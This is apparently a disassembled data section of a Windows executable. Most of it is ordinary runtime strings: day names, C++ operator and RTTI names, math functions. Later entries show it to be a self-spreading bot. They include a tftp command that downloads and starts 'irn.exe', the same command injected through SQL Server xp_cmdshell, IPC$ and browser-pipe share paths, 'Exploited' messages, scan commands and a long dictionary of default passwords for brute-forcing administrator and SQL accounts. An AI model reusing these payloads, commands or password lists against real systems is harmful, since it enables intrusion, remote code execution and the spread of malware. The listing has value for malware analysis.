aFriday		db 'Friday',0           ; DATA XREF: .data:00423EA8o
		align 4
aThursday	db 'Thursday',0         ; DATA XREF: .data:00423EA4o
		align 4
aWednesday	db 'Wednesday',0        ; DATA XREF: .data:00423EA0o
		align 10h
aTuesday	db 'Tuesday',0          ; DATA XREF: .data:00423E9Co
aMonday		db 'Monday',0           ; DATA XREF: .data:00423E98o
		align 10h
aSunday		db 'Sunday',0           ; DATA XREF: .data:00423E94o
		align 4
aSat		db 'Sat',0              ; DATA XREF: .data:00423E90o
aFri		db 'Fri',0              ; DATA XREF: .data:00423E8Co
aThu		db 'Thu',0              ; DATA XREF: .data:00423E88o
aWed		db 'Wed',0              ; DATA XREF: .data:00423E84o
aTue		db 'Tue',0              ; DATA XREF: .data:00423E80o
aMon		db 'Mon',0              ; DATA XREF: .data:00423E7Co
aSun		db 'Sun',0              ; DATA XREF: .data:off_423E78o
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_40CEC4+53o
		align 4
aKernel32_dl_10	db 'kernel32.dll',0     ; DATA XREF: sub_40CEC4+44o
		align 4
aCompleteObject	db ' Complete Object Locator',27h,0 ; DATA XREF: c.7ld2ih:0041EB94o
		align 4
aClassHierarchy	db ' Class Hierarchy Descriptor',27h,0 ; DATA XREF: c.7ld2ih:0041EB90o
		align 4
aBaseClassArray	db ' Base Class Array',27h,0 ; DATA XREF: c.7ld2ih:0041EB8Co
		align 4
aBaseClassDescr	db ' Base Class Descriptor at (',0 ; DATA XREF: c.7ld2ih:0041EB88o
aTypeDescriptor	db ' Type Descriptor',27h,0 ; DATA XREF: c.7ld2ih:0041EB84o
		align 4
aLocalStaticThr	db '`local static thread guard',27h,0 ; DATA XREF: c.7ld2ih:0041ECD0o
aManagedVectorC	db '`managed vector copy constructor iterator',27h,0
					; DATA XREF: c.7ld2ih:0041ECCCo
		align 4
aVectorVbaseCop	db '`vector vbase copy constructor iterator',27h,0
					; DATA XREF: c.7ld2ih:0041ECC8o
		align 10h
aVectorCopyCons	db '`vector copy constructor iterator',27h,0 ; DATA XREF: c.7ld2ih:0041ECC4o
		align 4
aDynamicAtexitD	db '`dynamic atexit destructor for ',27h,0 ; DATA XREF: c.7ld2ih:0041ECC0o
		align 4
aDynamicInitial	db '`dynamic initializer for ',27h,0 ; DATA XREF: c.7ld2ih:0041ECBCo
		align 4
aEhVectorVbaseC	db '`eh vector vbase copy constructor iterator',27h,0
					; DATA XREF: c.7ld2ih:0041ECB8o
aEhVectorCopyCo	db '`eh vector copy constructor iterator',27h,0
					; DATA XREF: c.7ld2ih:0041ECB4o
		align 4
aManagedVectorD	db '`managed vector destructor iterator',27h,0
					; DATA XREF: c.7ld2ih:0041ECB0o
		align 10h
aManagedVecto_0	db '`managed vector constructor iterator',27h,0
					; DATA XREF: c.7ld2ih:0041ECACo
		align 4
aPlacementDelet	db '`placement delete[] closure',27h,0 ; DATA XREF: c.7ld2ih:0041ECA8o
		align 4
aPlacementDel_0	db '`placement delete closure',27h,0 ; DATA XREF: c.7ld2ih:0041ECA4o
		align 4
aOmniCallsig	db '`omni callsig',27h,0 ; DATA XREF: c.7ld2ih:0041ECA0o
		align 4
aDelete		db ' delete[]',0        ; DATA XREF: c.7ld2ih:0041EC9Co
		align 10h
aNew		db ' new[]',0           ; DATA XREF: c.7ld2ih:0041EC98o
		align 4
aLocalVftableCo	db '`local vftable constructor closure',27h,0
					; DATA XREF: c.7ld2ih:0041EC94o
aLocalVftable	db '`local vftable',27h,0 ; DATA XREF: c.7ld2ih:0041EC90o
aRtti		db '`RTTI',0            ; DATA XREF: c.7ld2ih:0041EC8Co
		align 4
off_41E854	dd offset dword_484560	; DATA XREF: c.7ld2ih:0041EC88o
aUdtReturning	db '`udt returning',27h,0 ; DATA XREF: c.7ld2ih:0041EC84o
aCopyConstructo	db '`copy constructor closure',27h,0 ; DATA XREF: c.7ld2ih:0041EC80o
		align 4
aEhVectorVbas_0	db '`eh vector vbase constructor iterator',27h,0
					; DATA XREF: c.7ld2ih:0041EC7Co
		align 4
aEhVectorDestru	db '`eh vector destructor iterator',27h,0 ; DATA XREF: c.7ld2ih:0041EC78o
aEhVectorConstr	db '`eh vector constructor iterator',27h,0 ; DATA XREF: c.7ld2ih:0041EC74o
		align 10h
aVirtualDisplac	db '`virtual displacement map',27h,0 ; DATA XREF: c.7ld2ih:0041EC70o
		align 4
aVectorVbaseCon	db '`vector vbase constructor iterator',27h,0
					; DATA XREF: c.7ld2ih:0041EC6Co
aVectorDestruct	db '`vector destructor iterator',27h,0 ; DATA XREF: c.7ld2ih:0041EC68o
		align 10h
aVectorConstruc	db '`vector constructor iterator',27h,0 ; DATA XREF: c.7ld2ih:0041EC64o
		align 10h
aScalarDeleting	db '`scalar deleting destructor',27h,0 ; DATA XREF: c.7ld2ih:0041EC60o
		align 10h
aDefaultConstru	db '`default constructor closure',27h,0 ; DATA XREF: c.7ld2ih:0041EC5Co
		align 10h
aVectorDeleting	db '`vector deleting destructor',27h,0 ; DATA XREF: c.7ld2ih:0041EC58o
		align 10h
aVbaseDestructo	db '`vbase destructor',27h,0 ; DATA XREF: c.7ld2ih:0041EC54o
		align 4
aString		db '`string',27h,0      ; DATA XREF: c.7ld2ih:0041EC50o
		align 10h
aLocalStaticGua	db '`local static guard',27h,0 ; DATA XREF: c.7ld2ih:0041EC4Co
		align 4
aTypeof		db '`typeof',27h,0      ; DATA XREF: c.7ld2ih:0041EC48o
		align 4
aVcall		db '`vcall',27h,0       ; DATA XREF: c.7ld2ih:0041EC44o
aVbtable	db '`vbtable',27h,0     ; DATA XREF: c.7ld2ih:0041EC40o
		align 4
aVftable	db '`vftable',27h,0     ; DATA XREF: c.7ld2ih:0041EC3Co
		align 4
asc_41EA34	db '^=',0               ; DATA XREF: c.7ld2ih:0041EC38o
		align 4
asc_41EA38	db '|=',0               ; DATA XREF: c.7ld2ih:0041EC34o
		align 4
asc_41EA3C	db '&=',0               ; DATA XREF: c.7ld2ih:0041EC30o
		align 10h
asc_41EA40	db '<<=',0              ; DATA XREF: c.7ld2ih:0041EC2Co
asc_41EA44	db '>>=',0              ; DATA XREF: c.7ld2ih:0041EC28o
asc_41EA48	db '%=',0               ; DATA XREF: c.7ld2ih:0041EC24o
		align 4
asc_41EA4C	db '/=',0               ; DATA XREF: c.7ld2ih:0041EC20o
		align 10h
asc_41EA50	db '-=',0               ; DATA XREF: c.7ld2ih:0041EC1Co
		align 4
asc_41EA54	db '+=',0               ; DATA XREF: c.7ld2ih:0041EC18o
		align 4
asc_41EA58	db '*=',0               ; DATA XREF: c.7ld2ih:0041EC14o
		align 4
asc_41EA5C	db '||',0               ; DATA XREF: c.7ld2ih:0041EC10o
		align 10h
asc_41EA60	db '&&',0               ; DATA XREF: c.7ld2ih:0041EC0Co
		align 4
asc_41EA64:				; DATA XREF: c.7ld2ih:0041EC08o
		unicode	0, <|>,0
asc_41EA68:				; DATA XREF: c.7ld2ih:0041EC04o
		unicode	0, <^>,0
asc_41EA6C:				; DATA XREF: c.7ld2ih:0041EC00o
		unicode	0, <~>,0
asc_41EA70	db '()',0               ; DATA XREF: c.7ld2ih:0041EBFCo
		align 4
asc_41EA74:				; DATA XREF: c.7ld2ih:0041EBF8o
		unicode	0, <,>,0
asc_41EA78	db '>=',0               ; DATA XREF: c.7ld2ih:0041EBF4o
		align 4
asc_41EA7C:				; DATA XREF: c.7ld2ih:0041EBF0o
		dw 3Eh
		unicode	0, <>,0
asc_41EA80	db '<=',0               ; DATA XREF: c.7ld2ih:0041EBECo
		align 4
asc_41EA84:				; DATA XREF: c.7ld2ih:0041EBE8o
		dw 3Ch
		unicode	0, <>,0
asc_41EA88:				; DATA XREF: c.7ld2ih:0041EBE4o
		unicode	0, <%>,0
asc_41EA8C:				; DATA XREF: c.7ld2ih:0041EBE0o
		unicode	0, </>,0
asc_41EA90	db '->*',0              ; DATA XREF: c.7ld2ih:0041EBDCo
asc_41EA94:				; DATA XREF: c.7ld2ih:0041EBD8o
		unicode	0, <&>,0
asc_41EA98:				; DATA XREF: c.7ld2ih:0041EBD4o
		unicode	0, <+>,0
asc_41EA9C:				; DATA XREF: c.7ld2ih:0041EBD0o
		unicode	0, <->,0
asc_41EAA0	db '--',0               ; DATA XREF: c.7ld2ih:0041EBCCo
		align 4
asc_41EAA4	db '++',0               ; DATA XREF: c.7ld2ih:0041EBC8o
		align 4
asc_41EAA8:				; DATA XREF: c.7ld2ih:0041EBC4o
		unicode	0, <*>,0
asc_41EAAC	db '->',0               ; DATA XREF: c.7ld2ih:0041EBC0o
		align 10h
aOperator	db 'operator',0         ; DATA XREF: c.7ld2ih:0041EBBCo
		align 4
asc_41EABC	db '[]',0               ; DATA XREF: c.7ld2ih:0041EBB8o
		align 10h
asc_41EAC0	db '!=',0               ; DATA XREF: c.7ld2ih:0041EBB4o
		align 4
asc_41EAC4	db '==',0               ; DATA XREF: c.7ld2ih:off_41EBB0o
		align 4
asc_41EAC8:				; DATA XREF: c.7ld2ih:0041EBACo
		unicode	0, <!>,0
		db '<<',0
		align 10h
		db '>>',0
		align 4
aDelete_0	db ' delete',0
aNew_0		db ' new',0             ; DATA XREF: c.7ld2ih:0041EB98o
		align 4
a__unaligned	db '__unaligned',0      ; DATA XREF: c.7ld2ih:0041EB7Co
a__restrict	db '__restrict',0       ; DATA XREF: c.7ld2ih:0041EB78o
		align 4
; a__ptr64
a__ptr64	db '__ptr64',0          ; DATA XREF: c.7ld2ih:0041EB74o
a__clrcall	db '__clrcall',0        ; DATA XREF: c.7ld2ih:0041EB70o
		align 10h
a__fastcall	db '__fastcall',0
		align 4
a__thiscall	db '__thiscall',0
		align 4
a__stdcall	db '__stdcall',0
		align 4
a__pascal	db '__pascal',0         ; DATA XREF: c.7ld2ih:0041EB60o
		align 10h
a__cdecl	db '__cdecl',0          ; DATA XREF: c.7ld2ih:0041EB5Co
a__based	db '__based(',0
		align 8
		dec	eax
		jmp	short loc_41EB9C
; ---------------------------------------------------------------------------
		align 4
		dd offset a__cdecl	; "__cdecl"
		dd offset a__pascal	; "__pascal"
; ---------------------------------------------------------------------------
		sub	bl, ch
		inc	ecx
		add	[ebx+ebp*8], bl
		inc	ecx
		add	[eax], dl
		jmp	short near ptr off_41EBB0
; ---------------------------------------------------------------------------
		align 10h
		dd offset a__clrcall	; "__clrcall"
		dd offset a__ptr64	; "__ptr64"
		dd offset a__restrict	; "__restrict"
		dd offset a__unaligned	; "__unaligned"
		dd offset word_41D492
		dd offset aTypeDescriptor ; " Type Descriptor'"
		dd offset aBaseClassDescr ; " Base Class Descriptor at ("
		dd offset aBaseClassArray ; " Base Class Array'"
		dd offset aClassHierarchy ; " Class Hierarchy Descriptor'"
		dd offset aCompleteObject ; " Complete Object Locator'"
		dd offset aNew_0	; " new"
; ---------------------------------------------------------------------------

loc_41EB9C:				; CODE XREF: c.7ld2ih:0041EB59j
		aam	0EAh
		inc	ecx
		add	[eax-2FFFBE2Ch], dl
		jmp	far ptr	41h:0EACC0041h
; ---------------------------------------------------------------------------
		dd offset asc_41EAC8	; "!"
off_41EBB0	dd offset asc_41EAC4	; CODE XREF: c.7ld2ih:0041EB6Dj
					; "=="
		dd offset asc_41EAC0	; "!="
		dd offset asc_41EABC	; "[]"
		dd offset aOperator	; "operator"
		dd offset asc_41EAAC	; "->"
		dd offset asc_41EAA8	; "*"
		dd offset asc_41EAA4	; "++"
		dd offset asc_41EAA0	; "--"
		dd offset asc_41EA9C	; "-"
		dd offset asc_41EA98	; "+"
		dd offset asc_41EA94	; "&"
		dd offset asc_41EA90	; "->*"
		dd offset asc_41EA8C	; "/"
		dd offset asc_41EA88	; "%"
		dd offset asc_41EA84	; "<"
		dd offset asc_41EA80	; "<="
		dd offset asc_41EA7C	; ">"
		dd offset asc_41EA78	; ">="
		dd offset asc_41EA74	; ","
		dd offset asc_41EA70	; "()"
		dd offset asc_41EA6C	; "~"
		dd offset asc_41EA68	; "^"
		dd offset asc_41EA64	; "|"
		dd offset asc_41EA60	; "&&"
		dd offset asc_41EA5C	; "||"
		dd offset asc_41EA58	; "*="
		dd offset asc_41EA54	; "+="
		dd offset asc_41EA50	; "-="
		dd offset asc_41EA4C	; "/="
		dd offset asc_41EA48	; "%="
		dd offset asc_41EA44	; ">>="
		dd offset asc_41EA40	; "<<="
		dd offset asc_41EA3C	; "&="
		dd offset asc_41EA38	; "|="
		dd offset asc_41EA34	; "^="
		dd offset aVftable	; "`vftable'"
		dd offset aVbtable	; "`vbtable'"
		dd offset aVcall	; "`vcall'"
		dd offset aTypeof	; "`typeof'"
		dd offset aLocalStaticGua ; "`local static guard'"
		dd offset aString	; "`string'"
		dd offset aVbaseDestructo ; "`vbase destructor'"
		dd offset aVectorDeleting ; "`vector deleting destructor'"
		dd offset aDefaultConstru ; "`default constructor closure'"
		dd offset aScalarDeleting ; "`scalar deleting destructor'"
		dd offset aVectorConstruc ; "`vector constructor iterator'"
		dd offset aVectorDestruct ; "`vector destructor	iterator'"
		dd offset aVectorVbaseCon ; "`vector vbase constructor iterator'"
		dd offset aVirtualDisplac ; "`virtual displacement map'"
		dd offset aEhVectorConstr ; "`eh vector	constructor iterator'"
		dd offset aEhVectorDestru ; "`eh vector	destructor iterator'"
		dd offset aEhVectorVbas_0 ; "`eh vector	vbase constructor iterator'"
		dd offset aCopyConstructo ; "`copy constructor closure'"
		dd offset aUdtReturning	; "`udt	returning'"
		dd offset off_41E854
		dd offset aRtti		; "`RTTI"
		dd offset aLocalVftable	; "`local vftable'"
		dd offset aLocalVftableCo ; "`local vftable constructor	closure'"
		dd offset aNew		; " new[]"
		dd offset aDelete	; " delete[]"
		dd offset aOmniCallsig	; "`omni callsig'"
		dd offset aPlacementDel_0 ; "`placement	delete closure'"
		dd offset aPlacementDelet ; "`placement	delete[] closure'"
		dd offset aManagedVecto_0 ; "`managed vector constructor iterator'"
		dd offset aManagedVectorD ; "`managed vector destructor	iterator'"
		dd offset aEhVectorCopyCo ; "`eh vector	copy constructor iterator'"
		dd offset aEhVectorVbaseC ; "`eh vector	vbase copy constructor itera"...
		dd offset aDynamicInitial ; "`dynamic initializer for '"
		dd offset aDynamicAtexitD ; "`dynamic atexit destructor	for '"
		dd offset aVectorCopyCons ; "`vector copy constructor iterator'"
		dd offset aVectorVbaseCop ; "`vector vbase copy	constructor iterator"...
		dd offset aManagedVectorC ; "`managed vector copy constructor iterat"...
		dd offset aLocalStaticThr ; "`local static thread guard'"
		dd offset word_41D492
		dd 86808006h, 808180h, 86031000h, 80828680h, 45050514h
		dd 85854545h, 585h, 50803030h, 8008880h, 38272800h, 805750h
		dd 30370007h, 88505030h, 20000000h, 80888028h, 80h
aHHhhXppwpp	db '`h`hhh',8,8,7,'xppwpp',8,8,0
		dw 800h
		dd 7000800h, 8
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: sub_40F8D4+C1o
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: sub_40F8D4+A9o
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_40F8D4+6Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_40F8D4+58o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_40F8D4+46o
aUser32_dll_0	db 'USER32.DLL',0       ; DATA XREF: sub_40F8D4+28o
		align 4
off_41EDA4	dd offset sub_40FB1C	; DATA XREF: sub_407D29r sub_407D29+9o ...
		dd offset nullsub_444
		dd offset nullsub_444
a_nextafter	db '_nextafter',0
		align 4
a_logb		db '_logb',0
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 10h
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 10h
aLdexp		db 'ldexp',0
		align 4
aFabs		db 'fabs',0
		align 10h
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
dbl_41EE28	dq 0.0			; DATA XREF: sub_40FED1+143r
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_410E04:loc_410EDCo
		align 4
dbl_41EE78	dq 4.195835e6		; DATA XREF: sub_411744+Fr
dbl_41EE80	dq 3.145727e6		; DATA XREF: sub_411744+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_411780+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_411780o
		align 10h
aConout		db 'CONOUT$',0          ; DATA XREF: sub_4117DB+Eo
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_412E61:loc_412F90o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_412E61+103o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_412E61+F4o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_412E61+DCo
		align 4
aBadAllocation	db 'bad allocation',0   ; DATA XREF: .data:00424520o
		align 4
aScan_start	db 'scan.start',0       ; DATA XREF: .text:0041CC4Co
		align 4
aScan_stop	db 'scan.stop',0        ; DATA XREF: .text:0041CC68o
byte_41EEFE	db 0			; DATA XREF: sub_41AFA7+9Co
byte_41EEFF	db 0			; DATA XREF: sub_41AFA7+A8o
dword_41EF00	dd 6E616373h, 6174732Eh, 7374h ; DATA XREF: .text:0041CC84o
dword_41EF0C	dd 252E6425h, 64252E64h, 64252Eh ; DATA	XREF: sub_413DDD+4Ao
byte_41EF18	db 25h,	73h, 0		; DATA XREF: sub_413DDD+18Co
		db 0			; DATA XREF: .data:off_425830o
byte_41EF1C	db 25h,	73h, 0		; DATA XREF: sub_413DDD+29Co
byte_41EF1F	db 0			; DATA XREF: sub_41BED6+1DDo
dword_41EF20	dd 7325h		; DATA XREF: sub_413DDD+386o
byte_41EF24	db 25h,	73h, 0		; DATA XREF: sub_413DDD+495o
byte_41EF27	db 0			; DATA XREF: sub_41C28D:loc_41C735o
dword_41EF28	dd 20646162h, 6F6C6C61h, 69746163h, 6E6Fh ; DATA XREF: .data:00424524o
aTftpISGetIrn_e	db 'tftp -i %s GET irn.exe&start irn.exe&exit',0Dh,0Ah,0
					; DATA XREF: sub_41AB81+EFo
aBadAllocatio_0	db 'bad allocation',0   ; DATA XREF: .data:004245D8o
		align 4
aBadAllocatio_1	db 'bad allocation',0   ; DATA XREF: .data:004245DCo
		align 4
aWindowsNt42000	db 'Windows NT4, 2000 (SP0-SP4)',0
aWindowsXpSp0Sp	db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .data:00425814o
		align 4
aIpc:
		unicode	0, <\IPC$>,0
		unicode	0, <\\>,0
		align 4
		dd 2 dup(0)
aIpc_0:
		unicode	0, <\IPC$>,0
		unicode	0, <\\>,0
		align 4
a_:					; DATA XREF: sub_41AFA7+57o
		unicode	0, <.>,0
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: sub_41AFA7+76o
		align 4
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: sub_41AFA7+CAo
		align 4
dword_41F00C	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: sub_41AFA7+191o
dword_41F020	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 3 dup(0)
					; DATA XREF: sub_41AFA7+1ACo
; ---------------------------------------------------------------------------
		jmp	short near ptr dword_41F040
; ---------------------------------------------------------------------------
		align 10h
dword_41F040	dd 0			; CODE XREF: c.7ld2ih:0041F03Cj
aHttpSDS_0	db 'http://%s:%d/%s',0  ; DATA XREF: sub_41AFA7+3D3o
aHttpSDS_1	db 'http://%s:%d/%s',0  ; DATA XREF: sub_41AFA7+451o
aSExploitedS_	db '%s: Exploited: %s.',0 ; DATA XREF: sub_41AFA7+76Eo
		align 4
aBadAllocatio_2	db 'bad allocation',0   ; DATA XREF: .data:00425828o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_41B751+55o
		align 4
aRoot		db 'root',0             ; DATA XREF: sub_41B751+5Co
		align 4
aAdmin		db 'admin',0            ; DATA XREF: sub_41B751+63o
		align 4
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: sub_41B751+10Co
		align 10h
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'tftp -i %s GET irn.exe&start irn.exe'
					; DATA XREF: sub_41B751+197o
		db '&exit',0Dh,0Ah
		db 27h,0
		align 4
aSExploitedS__0	db '%s: Exploited %s.',0 ; DATA XREF: sub_41B751+1F1o
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: .data:00425834o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .data:00425838o
		align 4
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:0042583Co
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .data:00425840o
aAdmins		db 'admins',0           ; DATA XREF: .data:00425844o
		align 10h
aAdmin_0	db 'admin',0            ; DATA XREF: .data:00425848o
		align 4
aAdm		db 'adm',0              ; DATA XREF: .data:0042584Co
aPassword1	db 'password1',0        ; DATA XREF: .data:00425850o
		align 4
aPassword	db 'password',0         ; DATA XREF: .data:00425854o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: .data:00425858o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .data:0042585Co
		align 4
aPass		db 'pass',0             ; DATA XREF: .data:00425860o
		align 10h
aPwd		db 'pwd',0              ; DATA XREF: .data:00425864o
a007		db '007',0              ; DATA XREF: .data:00425868o
a1:					; DATA XREF: .data:0042586Co
		unicode	0, <1>,0
a12		db '12',0               ; DATA XREF: .data:00425870o
		align 10h
a123		db '123',0              ; DATA XREF: .data:00425874o
a1234		db '1234',0             ; DATA XREF: .data:00425878o
		align 4
a12345		db '12345',0            ; DATA XREF: .data:0042587Co
		align 4
a123456		db '123456',0           ; DATA XREF: .data:00425880o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .data:00425884o
a12345678	db '12345678',0         ; DATA XREF: .data:00425888o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: .data:0042588Co
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .data:00425890o
		align 4
a2000		db '2000',0             ; DATA XREF: .data:00425894o
		align 10h
a2001		db '2001',0             ; DATA XREF: .data:00425898o
		align 4
a2002		db '2002',0             ; DATA XREF: .data:0042589Co
		align 10h
a2003		db '2003',0             ; DATA XREF: .data:004258A0o
		align 4
a2004		db '2004',0             ; DATA XREF: .data:004258A4o
		align 10h
aTest		db 'test',0             ; DATA XREF: .data:004258A8o
		align 4
aGuest		db 'guest',0            ; DATA XREF: .data:004258ACo
		align 10h
aNone		db 'none',0             ; DATA XREF: .data:004258B0o
		align 4
aDemo		db 'demo',0             ; DATA XREF: .data:004258B4o
		align 10h
aUnix		db 'unix',0             ; DATA XREF: .data:004258B8o
		align 4
aLinux		db 'linux',0            ; DATA XREF: .data:004258BCo
		align 10h
aChangeme	db 'changeme',0         ; DATA XREF: .data:004258C0o
		align 4
aDefault	db 'default',0          ; DATA XREF: .data:004258C4o
aSystem_0	db 'system',0           ; DATA XREF: .data:004258C8o
		align 4
aServer		db 'server',0           ; DATA XREF: .data:004258CCo
		align 4
aRoot_0		db 'root',0             ; DATA XREF: .data:004258D0o
		align 4
aNull_1		db 'null',0             ; DATA XREF: .data:004258D4o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .data:004258D8o
		align 4
aMail		db 'mail',0             ; DATA XREF: .data:004258DCo
		align 4
aOutlook	db 'outlook',0          ; DATA XREF: .data:004258E0o
aWeb		db 'web',0              ; DATA XREF: .data:004258E4o
aWww		db 'www',0              ; DATA XREF: .data:004258E8o
aInternet	db 'internet',0         ; DATA XREF: .data:004258ECo
		align 10h
aAccounts	db 'accounts',0         ; DATA XREF: .data:004258F0o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: .data:004258F4o
		align 4
aHome		db 'home',0             ; DATA XREF: .data:004258F8o
		align 10h
aHomeuser	db 'homeuser',0         ; DATA XREF: .data:004258FCo
		align 4
aUser		db 'user',0             ; DATA XREF: .data:00425900o
		align 4
aOem		db 'oem',0              ; DATA XREF: .data:00425904o
aOemuser	db 'oemuser',0          ; DATA XREF: .data:00425908o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .data:0042590Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: .data:00425910o
aWin98		db 'win98',0            ; DATA XREF: .data:00425914o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .data:00425918o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: .data:0042591Co
		align 4
aWinnt		db 'winnt',0            ; DATA XREF: .data:00425920o
		align 4
aWin2000	db 'win2000',0          ; DATA XREF: .data:00425924o
aQaz		db 'qaz',0              ; DATA XREF: .data:00425928o
aAsd		db 'asd',0              ; DATA XREF: .data:0042592Co
aZxc		db 'zxc',0              ; DATA XREF: .data:00425930o
aQwe		db 'qwe',0              ; DATA XREF: .data:00425934o
aBob		db 'bob',0              ; DATA XREF: .data:00425938o
aJen		db 'jen',0              ; DATA XREF: .data:0042593Co
aJoe		db 'joe',0              ; DATA XREF: .data:00425940o
aFred		db 'fred',0             ; DATA XREF: .data:00425944o
		align 10h
aBill		db 'bill',0             ; DATA XREF: .data:00425948o
		align 4
aMike		db 'mike',0             ; DATA XREF: .data:0042594Co
		align 10h
aJohn		db 'john',0             ; DATA XREF: .data:00425950o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .data:00425954o
		align 10h
aLuke		db 'luke',0             ; DATA XREF: .data:00425958o
		align 4
aSam		db 'sam',0              ; DATA XREF: .data:0042595Co
aSue		db 'sue',0              ; DATA XREF: .data:00425960o
aSusan		db 'susan',0            ; DATA XREF: .data:00425964o
		align 4
aPeter_0	db 'peter',0            ; DATA XREF: .data:00425968o
		align 10h
aBrian		db 'brian',0            ; DATA XREF: .data:0042596Co
		align 4
aLee		db 'lee',0              ; DATA XREF: .data:00425970o
aNeil		db 'neil',0             ; DATA XREF: .data:00425974o
		align 4
aIan		db 'ian',0              ; DATA XREF: .data:00425978o
aChris		db 'chris',0            ; DATA XREF: .data:0042597Co
		align 10h
aEric		db 'eric',0             ; DATA XREF: .data:00425980o
		align 4
aGeorge		db 'george',0           ; DATA XREF: .data:00425984o
		align 10h
aKate		db 'kate',0             ; DATA XREF: .data:00425988o
		align 4
aBob_0		db 'bob',0              ; DATA XREF: .data:0042598Co
aKatie		db 'katie',0            ; DATA XREF: .data:00425990o
		align 4
aMary		db 'mary',0             ; DATA XREF: .data:00425994o
		align 4
aLogin		db 'login',0            ; DATA XREF: .data:00425998o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: .data:0042599Co
		align 10h
aTechnical	db 'technical',0        ; DATA XREF: .data:004259A0o
		align 4
aBackup		db 'backup',0           ; DATA XREF: .data:004259A4o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: .data:004259A8o
		align 10h
aFuck		db 'fuck',0             ; DATA XREF: .data:004259ACo
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .data:004259B0o
		align 10h
aSlut		db 'slut',0             ; DATA XREF: .data:004259B4o
		align 4
aSex		db 'sex',0              ; DATA XREF: .data:004259B8o
aGod		db 'god',0              ; DATA XREF: .data:004259BCo
aHell		db 'hell',0             ; DATA XREF: .data:004259C0o
		align 4
aHello		db 'hello',0            ; DATA XREF: .data:004259C4o
		align 10h
aDomain		db 'domain',0           ; DATA XREF: .data:004259C8o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: .data:004259CCo
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .data:004259D0o
		align 4
aDatabase	db 'database',0         ; DATA XREF: .data:004259D4o
		align 10h
aAccess		db 'access',0           ; DATA XREF: .data:004259D8o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: .data:004259DCo
		align 10h
aDbpassword	db 'dbpassword',0       ; DATA XREF: .data:004259E0o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .data:004259E4o
		align 4
aData		db 'data',0             ; DATA XREF: .data:004259E8o
		align 4
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .data:004259ECo
		align 4
aDb1		db 'db1',0              ; DATA XREF: .data:004259F0o
aDb2		db 'db2',0              ; DATA XREF: .data:004259F4o
aDb1234		db 'db1234',0           ; DATA XREF: .data:004259F8o
		align 4
aSa_0		db 'sa',0               ; DATA XREF: .data:004259FCo
		align 4
aSql		db 'sql',0              ; DATA XREF: .data:00425A00o
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .data:00425A04o
		align 4
aOrainstall	db 'orainstall',0       ; DATA XREF: .data:00425A08o
		align 10h
aOracle		db 'oracle',0           ; DATA XREF: .data:00425A0Co
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .data:00425A10o
aCisco		db 'cisco',0            ; DATA XREF: .data:00425A14o
		align 4
aDell		db 'dell',0             ; DATA XREF: .data:00425A18o
		align 4
aCompaq		db 'compaq',0           ; DATA XREF: .data:00425A1Co
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: .data:00425A20o
aHp		db 'hp',0               ; DATA XREF: .data:00425A24o
		align 10h
aNokia		db 'nokia',0            ; DATA XREF: .data:00425A28o
		align 4
aXp		db 'xp',0               ; DATA XREF: .data:00425A2Co
		align 4
